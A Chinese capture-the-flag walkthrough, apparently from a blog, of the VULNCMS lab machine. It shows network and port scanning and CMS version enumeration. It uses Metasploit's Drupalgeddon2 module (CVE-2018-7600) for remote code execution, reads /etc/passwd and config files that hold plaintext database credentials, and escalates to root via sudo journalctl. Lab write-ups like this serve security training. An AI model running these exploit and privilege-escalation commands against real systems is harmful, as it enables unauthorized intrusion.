靶机准备

导入虚拟机,并将网络模式设置为NAT



扫描ip

netdiscover -r 192.168.164.0/24

渗透测试

扫描端口

nmap -sS -sV -T5 -A -p- 192.168.164.191



其中有3个端口开放了http服务

依次访问80、8081、9001

其中80是w3.css 5000端口是WordPress 8081端口是Joomla 9001端口是drupal

cms版本扫描

1.wpscan --url http://192.168.164.191:5000/-e u
得知wordpress版本为5.7.2(这个前面nmap也扫出了)和用户名wordpress_admin
2.perl joomscan.pl --url http://192.168.164.191:8081/
得到joomla版本3.4.3
3.python3 cmsmap.py http://192.168.164.191:9001
得到drupal版本7.54



drupal 7.54有个RCE漏洞CVE-2018-7600



使用msf,可以成功获取到一个meterpreter

use exploit/unix/webapp/drupal_drupalgeddon2
set rhost 192.168.164.191
set rport 9001
run



转换为交互式shell

python3 -c "import pty;pty.spawn('/bin/bash')"

不是root权限

提权

查看具备suid的有那些命令

find / -perm -u=s -type f 2>/dev/null



没有能直接用来提权的。

开放了22ssh端口,收集信息

cat /etc/passwd
ls -l /home



发现elliot、tyrell、ghost这三个普通用户

在/var/www/html/drupal/sites/default/settings.php找到到drupal配置文件,得到数据库用户名密码:drupal_admin/p@$$_C!rUP@!_cM5

在/var/www/html/joomla/configuration.php找到joomla配置信息,收集到数据库用户名:joomla_admin/j00m1_@_dBpA$$

在/var/www/html/wordpress/public_html/wp-config.php找到wordpress配置信息,收集到数据库用户名密码:wp_admin/UUs3R_C!B@p@55



这里我着这几个数据库都连接不上

再找有用的信息

在/drupal/misc/tyrell.passwenji文件中找到用户及密码tyrell/mR_R0bo7_i5_R3@!_



切换到用户



发现用户可以无密码执行root权限文件/bin/journalctl



获取root权限

sudo journalctl
!/bin/sh



到root目录下获得flag

VULNCMS的更多相关文章

  1. 2020 10月CUMTCTF wp

    华为杯 × 签到杯√ 论比赛过程来说没什么很大收获 但看师傅们的wp感触很多 赛后复现慢慢学吧 Web babyflask flask ssti模板注入: payload{{key}}发现[]以及类似 ...

随机推荐

  1. 4、网络并发编程--僵尸进程、孤儿进程、守护进程、互斥锁、消息队列、IPC机制、生产者消费者模型、线程理论与实操

    昨日内容回顾 操作系统发展史 1.穿孔卡片 CPU利用率极低 2.联机批处理系统 CPU效率有所提升 3.脱机批处理系统 CPU效率极大提升(现代计算机雏形) 多道技术(单核CPU) 串行:多个任务依 ...

  2. LRU缓存及实现

    一.淘汰策略 缓存:缓存作为一种平衡高速设备与低速设备读写速度之间差异而引入的中间层,利用的是局部性原理.比如一条数据在刚被访问过只有就很可能再次被访问到,因此将其暂存到内存中的缓存中,下次访问不用读 ...

  3. 部署Nginx网站服务

    编译安装Nginx nginx 官方 : http://nginx.org/ yum -y install pcre-devel zlib-devel   ##安装相关依赖包 ./configure ...

  4. 单片机中volatile的应用

    01.简述 一个定义为volatile的变量是说这变量可能会被意想不到地改变,这样,编译器就不会去假设这个变量的值了.精确地说就是,优化器在用到这个变量时必须每次都小心地重新读取这个变量的值,而不是使 ...

  5. MySQL必知必会学习笔记(详细)

    目录 01 了解SQL 02 MySQL简介 03 使用MySQL 04 检索数据 select, from, distinct, limit, offset 05 排序 order by 06 过滤 ...

  6. Nhibernate Batch update returned unexpected row count from update; actual row count: 0 解决方案

    以前在session.Update(object).没发现啥问题,最近update的时候,老是报错:Nhibernate Batch update returned unexpected row co ...

  7. Java开发名词解释

    API 问题:API 解释:API(Application Programming Interface,应用程序编程接口)是一些预先定义的函数,目的是提供应用程序与开发人员基于某软件或硬件得以访问一组 ...

  8. POJ2749 题解

    题目大意:有若干牛圈和两个连接起来的的中转点S1,S2.每个牛圈需要选择其中一个中转点与之连接,从而使任意两个牛圈能够连通.有若干对牛圈里的牛互相hate或是互相like.若两个牛圈里的牛互相hate ...

  9. pip:各项指令

    学习自:(7条消息) pip 常用命令及控制台怎么查看python 及pip 和已安装包版本号_peiwang245的博客-CSDN博客_查看pip版本 1.版本及升级 版本:pip -V 升级:pi ...

  10. Python——序列与字符串

    序列与字符串 一. 列表 列表是Python的内置可变序列,是包含若干元素的有序连续内存空间.同一列表元素的数据类型可以各不相同,可以分别为整数.实数.字符串等基本类型,也可以是列表.元组.字典.集合 ...